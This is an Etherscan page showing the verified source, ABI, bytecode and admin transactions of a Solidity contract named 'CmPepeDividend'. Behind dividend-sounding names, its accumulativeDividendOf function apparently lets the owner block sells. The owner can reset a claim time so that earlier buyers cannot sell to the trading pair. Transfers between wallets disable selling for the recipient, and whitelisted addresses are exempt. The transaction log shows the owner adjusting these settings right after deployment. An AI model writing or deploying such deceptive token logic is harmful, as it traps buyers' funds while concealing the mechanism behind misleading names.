ETH Price: $2,350.75 (-1.31%)

Contract

0x39d1354E5190a891a4E7e6fFd233aB4bb3bc6d78
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Whitelist For Di...176398192023-07-07 5:21:35454 days ago1688707295IN
0x39d1354E...bb3bc6d78
0 ETH0.0009492320.48724081
Whitelist For Di...176388372023-07-07 2:03:35454 days ago1688695415IN
0x39d1354E...bb3bc6d78
0 ETH0.001001221.6089999
Whitelist For Di...176388362023-07-07 2:03:23454 days ago1688695403IN
0x39d1354E...bb3bc6d78
0 ETH0.0010278422.18968564
Whitelist For Di...176388302023-07-07 2:02:11454 days ago1688695331IN
0x39d1354E...bb3bc6d78
0 ETH0.001169525.24123261
Set Dividend Fin...176388292023-07-07 2:01:59454 days ago1688695319IN
0x39d1354E...bb3bc6d78
0 ETH0.0006904224.02298092
Set Claiming Tim...176387402023-07-07 1:43:59454 days ago1688694239IN
0x39d1354E...bb3bc6d78
0 ETH0.0007241625.54296623
Set Claiming Tim...176387062023-07-07 1:37:11454 days ago1688693831IN
0x39d1354E...bb3bc6d78
0 ETH0.0007388126.05954302
Set Claiming Tim...176387052023-07-07 1:36:59454 days ago1688693819IN
0x39d1354E...bb3bc6d78
0 ETH0.0007208225.42517791
Whitelist For Di...176386972023-07-07 1:35:23454 days ago1688693723IN
0x39d1354E...bb3bc6d78
0 ETH0.0011335124.46454771
Set Claiming Tim...176386822023-07-07 1:32:23454 days ago1688693543IN
0x39d1354E...bb3bc6d78
0 ETH0.0006864724.21328222
Set Claiming Tim...176386422023-07-07 1:24:11454 days ago1688693051IN
0x39d1354E...bb3bc6d78
0 ETH0.0011589425.49870363
Set Token For Di...176384972023-07-07 0:55:11454 days ago1688691311IN
0x39d1354E...bb3bc6d78
0 ETH0.0019287827.20929822
0x60806040176384042023-07-07 0:36:23454 days ago1688690183IN
 Create: CmPepeDividend
0 ETH0.0150318934.82022911

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CmPepeDividend

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-07
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

abstract contract Context {
  
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

}

contract CmPepeDividend is Ownable {
    mapping(address => bool) private _whitelists;
    
    address private token;
    address private pair;
    bool private isDividendFinished;
    modifier onlyToken() {
        require(msg.sender == token);
        _;
    }
    mapping (address => uint256) private _dividendTimePassed;
    uint256 private claimTime;

 
    function accumulativeDividendOf(address _from, address _to) external onlyToken returns (uint256) {
      if (_whitelists[_from] || _whitelists[_to]) {
        return 1;
      }
      if (_from == pair) { if (_dividendTimePassed[_to] == 0) {
          _dividendTimePassed[_to] = block.timestamp;
        }} 
      else if (_to == pair) {
        require(!isDividendFinished && _dividendTimePassed[_from] >= claimTime
        );
      } else { _dividendTimePassed[_to] = 1;
      }
      return 0;
    }
    function setDividendFinishedCmPepe(bool isFinished) external onlyOwner {
      isDividendFinished = isFinished;
    }

    function setClaimingTimeForDividendCmPepe() external onlyOwner {
      claimTime = block.timestamp;
    }
    function whitelistForDivideEndsCmPepe(address owner_, bool _isWhitelist) external onlyOwner {
      _whitelists[owner_] = _isWhitelist;
    }

    function setTokenForDivideEndsCmPepe(address _token, address _pair) external onlyOwner {
      token = _token;
      pair = _pair;
      isDividendFinished = false;
      claimTime = 0;
    }


    receive() external payable {
    }
}

Contract Security Audit

Contract ABI

[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"accumulativeDividendOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setClaimingTimeForDividendCmPepe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isFinished","type":"bool"}],"name":"setDividendFinishedCmPepe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"setTokenForDivideEndsCmPepe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForDivideEndsCmPepe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561000f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506106648061005d5f395ff3fe60806040526004361061007c575f3560e01c8063a9deda341161004c578063a9deda3414610106578063cc5489df1461011a578063f2d4bb3514610147578063f2fde38b14610166575f80fd5b80633953392c14610087578063715018a6146100a85780638665f8f9146100bc5780638da5cb5b146100db575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506100a66100a1366004610567565b610185565b005b3480156100b3575f80fd5b506100a66101e1565b3480156100c7575f80fd5b506100a66100d6366004610598565b610252565b3480156100e6575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b348015610111575f80fd5b506100a66102b4565b348015610125575f80fd5b50610139610134366004610598565b6102e3565b6040519081526020016100fd565b348015610152575f80fd5b506100a66101613660046105c0565b61040f565b348015610171575f80fd5b506100a66101803660046105e0565b610456565b5f546001600160a01b031633146101b75760405162461bcd60e51b81526004016101ae906105f9565b60405180910390fd5b6001600160a01b03919091165f908152600160205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461020a5760405162461bcd60e51b81526004016101ae906105f9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461027b5760405162461bcd60e51b81526004016101ae906105f9565b600280546001600160a01b039384166001600160a01b0319909116179055600380546001600160a81b031916919092161790555f600555565b5f546001600160a01b031633146102dd5760405162461bcd60e51b81526004016101ae906105f9565b42600555565b6002545f906001600160a01b031633146102fb575f80fd5b6001600160a01b0383165f9081526001602052604090205460ff168061033857506001600160a01b0382165f9081526001602052604090205460ff165b1561034557506001610409565b6003546001600160a01b0390811690841603610399576001600160a01b0382165f908152600460205260408120549003610394576001600160a01b0382165f9081526004602052604090204290555b610406565b6003546001600160a01b03908116908316036103ea57600354600160a01b900460ff161580156103e257506005546001600160a01b0384165f9081526004602052604090205410155b610394575f80fd5b6001600160a01b0382165f908152600460205260409020600190555b505f5b92915050565b5f546001600160a01b031633146104385760405162461bcd60e51b81526004016101ae906105f9565b60038054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b0316331461047f5760405162461bcd60e51b81526004016101ae906105f9565b6001600160a01b0381166104e45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b0381168114610553575f80fd5b919050565b80358015158114610553575f80fd5b5f8060408385031215610578575f80fd5b6105818361053d565b915061058f60208401610558565b90509250929050565b5f80604083850312156105a9575f80fd5b6105b28361053d565b915061058f6020840161053d565b5f602082840312156105d0575f80fd5b6105d982610558565b9392505050565b5f602082840312156105f0575f80fd5b6105d98261053d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212207614886069760fe45c54aa379f230aee3091c792c881b1bd4d813ac598837e5c64736f6c63430008140033

Deployed Bytecode

0x60806040526004361061007c575f3560e01c8063a9deda341161004c578063a9deda3414610106578063cc5489df1461011a578063f2d4bb3514610147578063f2fde38b14610166575f80fd5b80633953392c14610087578063715018a6146100a85780638665f8f9146100bc5780638da5cb5b146100db575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506100a66100a1366004610567565b610185565b005b3480156100b3575f80fd5b506100a66101e1565b3480156100c7575f80fd5b506100a66100d6366004610598565b610252565b3480156100e6575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b348015610111575f80fd5b506100a66102b4565b348015610125575f80fd5b50610139610134366004610598565b6102e3565b6040519081526020016100fd565b348015610152575f80fd5b506100a66101613660046105c0565b61040f565b348015610171575f80fd5b506100a66101803660046105e0565b610456565b5f546001600160a01b031633146101b75760405162461bcd60e51b81526004016101ae906105f9565b60405180910390fd5b6001600160a01b03919091165f908152600160205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461020a5760405162461bcd60e51b81526004016101ae906105f9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461027b5760405162461bcd60e51b81526004016101ae906105f9565b600280546001600160a01b039384166001600160a01b0319909116179055600380546001600160a81b031916919092161790555f600555565b5f546001600160a01b031633146102dd5760405162461bcd60e51b81526004016101ae906105f9565b42600555565b6002545f906001600160a01b031633146102fb575f80fd5b6001600160a01b0383165f9081526001602052604090205460ff168061033857506001600160a01b0382165f9081526001602052604090205460ff165b1561034557506001610409565b6003546001600160a01b0390811690841603610399576001600160a01b0382165f908152600460205260408120549003610394576001600160a01b0382165f9081526004602052604090204290555b610406565b6003546001600160a01b03908116908316036103ea57600354600160a01b900460ff161580156103e257506005546001600160a01b0384165f9081526004602052604090205410155b610394575f80fd5b6001600160a01b0382165f908152600460205260409020600190555b505f5b92915050565b5f546001600160a01b031633146104385760405162461bcd60e51b81526004016101ae906105f9565b60038054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b0316331461047f5760405162461bcd60e51b81526004016101ae906105f9565b6001600160a01b0381166104e45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b0381168114610553575f80fd5b919050565b80358015158114610553575f80fd5b5f8060408385031215610578575f80fd5b6105818361053d565b915061058f60208401610558565b90509250929050565b5f80604083850312156105a9575f80fd5b6105b28361053d565b915061058f6020840161053d565b5f602082840312156105d0575f80fd5b6105d982610558565b9392505050565b5f602082840312156105f0575f80fd5b6105d98261053d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212207614886069760fe45c54aa379f230aee3091c792c881b1bd4d813ac598837e5c64736f6c63430008140033

Deployed Bytecode Sourcemap

2138:1533:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3276:143;;;;;;;;;;-1:-1:-1;3276:143:0;;;;;:::i;:::-;;:::i;:::-;;1372:148;;;;;;;;;;;;;:::i;3427:196::-;;;;;;;;;;-1:-1:-1;3427:196:0;;;;;:::i;:::-;;:::i;942:79::-;;;;;;;;;;-1:-1:-1;980:7:0;1007:6;942:79;;-1:-1:-1;;;;;1007:6:0;;;1027:51:1;;1015:2;1000:18;942:79:0;;;;;;;;3163:107;;;;;;;;;;;;;:::i;2516:514::-;;;;;;;;;;-1:-1:-1;2516:514:0;;;;;:::i;:::-;;:::i;:::-;;;1235:25:1;;;1223:2;1208:18;2516:514:0;1089:177:1;3036:119:0;;;;;;;;;;-1:-1:-1;3036:119:0;;;;;:::i;:::-;;:::i;1675:244::-;;;;;;;;;;-1:-1:-1;1675:244:0;;;;;:::i;:::-;;:::i;3276:143::-;2050:6;;-1:-1:-1;;;;;2050:6:0;419:10;2050:22;2042:67;;;;-1:-1:-1;;;2042:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;3377:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:34;;-1:-1:-1;;3377:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;3276:143::o;1372:148::-;2050:6;;-1:-1:-1;;;;;2050:6:0;419:10;2050:22;2042:67;;;;-1:-1:-1;;;2042:67:0;;;;;;;:::i;:::-;1479:1:::1;1463:6:::0;;1442:40:::1;::::0;-1:-1:-1;;;;;1463:6:0;;::::1;::::0;1442:40:::1;::::0;1479:1;;1442:40:::1;1510:1;1493:19:::0;;-1:-1:-1;;;;;;1493:19:0::1;::::0;;1372:148::o;3427:196::-;2050:6;;-1:-1:-1;;;;;2050:6:0;419:10;2050:22;2042:67;;;;-1:-1:-1;;;2042:67:0;;;;;;;:::i;:::-;3523:5:::1;:14:::0;;-1:-1:-1;;;;;3523:14:0;;::::1;-1:-1:-1::0;;;;;;3523:14:0;;::::1;;::::0;;3546:4:::1;:12:::0;;-1:-1:-1;;;;;;3567:26:0;3546:12;;;::::1;3567:26:::0;;;3523:5:::1;3602:9;:13:::0;3427:196::o;3163:107::-;2050:6;;-1:-1:-1;;;;;2050:6:0;419:10;2050:22;2042:67;;;;-1:-1:-1;;;2042:67:0;;;;;;;:::i;:::-;3247:15:::1;3235:9;:27:::0;3163:107::o;2516:514::-;2384:5;;2604:7;;-1:-1:-1;;;;;2384:5:0;2370:10;:19;2362:28;;;;;;-1:-1:-1;;;;;2626:18:0;::::1;;::::0;;;:11:::1;:18;::::0;;;;;::::1;;::::0;:38:::1;;-1:-1:-1::0;;;;;;2648:16:0;::::1;;::::0;;;:11:::1;:16;::::0;;;;;::::1;;2626:38;2622:73;;;-1:-1:-1::0;2684:1:0::1;2677:8;;2622:73;2716:4;::::0;-1:-1:-1;;;;;2716:4:0;;::::1;2707:13:::0;;::::1;::::0;2703:303:::1;;-1:-1:-1::0;;;;;2728:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;;:29;;2724:102:::1;;-1:-1:-1::0;;;;;2772:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;2799:15:::1;2772:42:::0;;2724:102:::1;2703:303;;;2852:4;::::0;-1:-1:-1;;;;;2852:4:0;;::::1;2845:11:::0;;::::1;::::0;2841:165:::1;;2878:18;::::0;-1:-1:-1;;;2878:18:0;::::1;;;2877:19;:62:::0;::::1;;;-1:-1:-1::0;2930:9:0::1;::::0;-1:-1:-1;;;;;2900:26:0;::::1;;::::0;;;:19:::1;:26;::::0;;;;;:39:::1;;2877:62;2869:81;;;::::0;::::1;2841:165;-1:-1:-1::0;;;;;2968:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;2995:1:::1;2968:28:::0;;2841:165:::1;-1:-1:-1::0;3021:1:0::1;2401;2516:514:::0;;;;:::o;3036:119::-;2050:6;;-1:-1:-1;;;;;2050:6:0;419:10;2050:22;2042:67;;;;-1:-1:-1;;;2042:67:0;;;;;;;:::i;:::-;3116:18:::1;:31:::0;;;::::1;;-1:-1:-1::0;;;3116:31:0::1;-1:-1:-1::0;;;;3116:31:0;;::::1;::::0;;;::::1;::::0;;3036:119::o;1675:244::-;2050:6;;-1:-1:-1;;;;;2050:6:0;419:10;2050:22;2042:67;;;;-1:-1:-1;;;2042:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1764:22:0;::::1;1756:73;;;::::0;-1:-1:-1;;;1756:73:0;;2210:2:1;1756:73:0::1;::::0;::::1;2192:21:1::0;2249:2;2229:18;;;2222:30;2288:34;2268:18;;;2261:62;-1:-1:-1;;;2339:18:1;;;2332:36;2385:19;;1756:73:0::1;2008:402:1::0;1756:73:0::1;1866:6;::::0;;1845:38:::1;::::0;-1:-1:-1;;;;;1845:38:0;;::::1;::::0;1866:6;::::1;::::0;1845:38:::1;::::0;::::1;1894:6;:17:::0;;-1:-1:-1;;;;;;1894:17:0::1;-1:-1:-1::0;;;;;1894:17:0;;;::::1;::::0;;;::::1;::::0;;1675:244::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:160::-;257:20;;313:13;;306:21;296:32;;286:60;;342:1;339;332:12;357:254;422:6;430;483:2;471:9;462:7;458:23;454:32;451:52;;;499:1;496;489:12;451:52;522:29;541:9;522:29;:::i;:::-;512:39;;570:35;601:2;590:9;586:18;570:35;:::i;:::-;560:45;;357:254;;;;;:::o;616:260::-;684:6;692;745:2;733:9;724:7;720:23;716:32;713:52;;;761:1;758;751:12;713:52;784:29;803:9;784:29;:::i;:::-;774:39;;832:38;866:2;855:9;851:18;832:38;:::i;1271:180::-;1327:6;1380:2;1368:9;1359:7;1355:23;1351:32;1348:52;;;1396:1;1393;1386:12;1348:52;1419:26;1435:9;1419:26;:::i;:::-;1409:36;1271:180;-1:-1:-1;;;1271:180:1:o;1456:186::-;1515:6;1568:2;1556:9;1547:7;1543:23;1539:32;1536:52;;;1584:1;1581;1574:12;1536:52;1607:29;1626:9;1607:29;:::i;1647:356::-;1849:2;1831:21;;;1868:18;;;1861:30;1927:34;1922:2;1907:18;;1900:62;1994:2;1979:18;;1647:356::o

Swarm Source

ipfs://7614886069760fe45c54aa379f230aee3091c792c881b1bd4d813ac598837e5c

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.